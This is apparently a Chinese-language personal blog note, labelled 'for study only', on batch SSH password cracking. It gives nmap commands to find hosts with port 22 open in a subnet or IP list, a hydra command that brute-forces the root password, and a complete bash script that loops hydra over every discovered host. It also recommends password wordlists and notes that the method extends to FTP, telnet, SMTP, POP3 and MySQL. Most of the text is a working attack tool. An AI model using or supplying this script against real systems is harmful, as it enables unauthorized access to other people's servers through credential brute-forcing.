前言

仅供学习,作为本人笔记📒使用.本文使用的工具可能有但不限于namp,hydra等.对于工具🔧的使用,本文只是简单使用,关于更纤细更高级的用法请移步去Google或参考文档等.


场景:对接入网络中存在的IP地址进行批量的扫描和SSH登录爆破.

思路:首先,我们需要用namp扫描当前网段下存在的主机列表并探测对方主机的22端口是否开启.

​ 若开启,则尝试使用hydra进行SSH密码爆破.

思路有了,我们可以用shell脚本将它们结合起来.

扫描

命令:

1
nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt

含义:扫描iplist.txt文件中的IP地址是否开启22端口.

若开启,则将这个结果输出到ip_output.txt文件中.

如果没有iplist.txt 命令可以这样写:

1
nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt

这是对一个网段的扫描,也可以换成一个IP.-sS和-sU都是扫描策略的选项,两个一起使用,可以提高扫描的可靠性。

在实际测试过程中(内网环境),nmap还是存在漏扫的情况.

关于nmap扫描更详细🔎更准确欢迎看这篇文章

第二步为,读取ip_output.txt文件中开放22端口的主机,使用hydra工具进行密码爆破,使用的命令如下:

1
hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,对IP地址为:192.168.0.12的主机进行密码破解。grep “host:”用来过滤打印的输出,只输出破解到密码的条目。由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将ip_output.txt文件中IP遍历完为止。代码如下所示。

1
2
3
4
5
cat ./ip_output.txt | while read line
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/bash

if [ $# -lt 4 ]
then
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
fi

while [ -n "$1" ]
do
case "$1" in
-p)
passfile=$2
#echo $passfile
shift
;;
-f)
nmap -vv -n -sS -sU -p22 -iL $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt
shift
;;
-l)
nmap -vv -n -sS -sU -p22 $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./ip_output.txt
shift
;;
*)
echo "$1 is not an option"
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
;;
esac
shift
done

echo "-----------port scan finished-----------"

chmod 666 ./ip_output.txt

#echo `cat ./ip_output.txt`

cat ./ip_output.txt | while read line
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done

echo "-------password guessing finished-------"

这个程序做了一些参数传递的判断,核心代码行十分精简。在使用程序之前,需得在主机上安装nmap和hydra,Ubuntu,Kali等Linux下可以使用包管理器例如apt来进行安装.

当然,能否破解成功,除了需要一个强力工具🔧,还得有个高效的密码本.

这里推荐一个项目,其中有很多好用的密码本.当然Kali自带的密码本也不错.Kali通过命令apt -y install seclists即可安装Seclists工具🔧
这里再分享一下3个基础密码本image-20220526114347708

password-100.txt
password-1000.txt
password-10k.txt

总结

通过上文的简单说明流程,可以轻松改造成对任意hydra支持的服务的批量口令爆破(包括但不限于:SSH,FTP,telnet,SMTP,POP3,MySQL).

关于hydra的更多介绍,本文不再展开.如果想进行http(s)的破解,请用burpsuit进行破解.

除了hydra(九头蛇)工具外,也有其他爆破工具🔧,例如medusa(美杜莎)等等

先写这么点吧,以后有机会再补充内容或更新.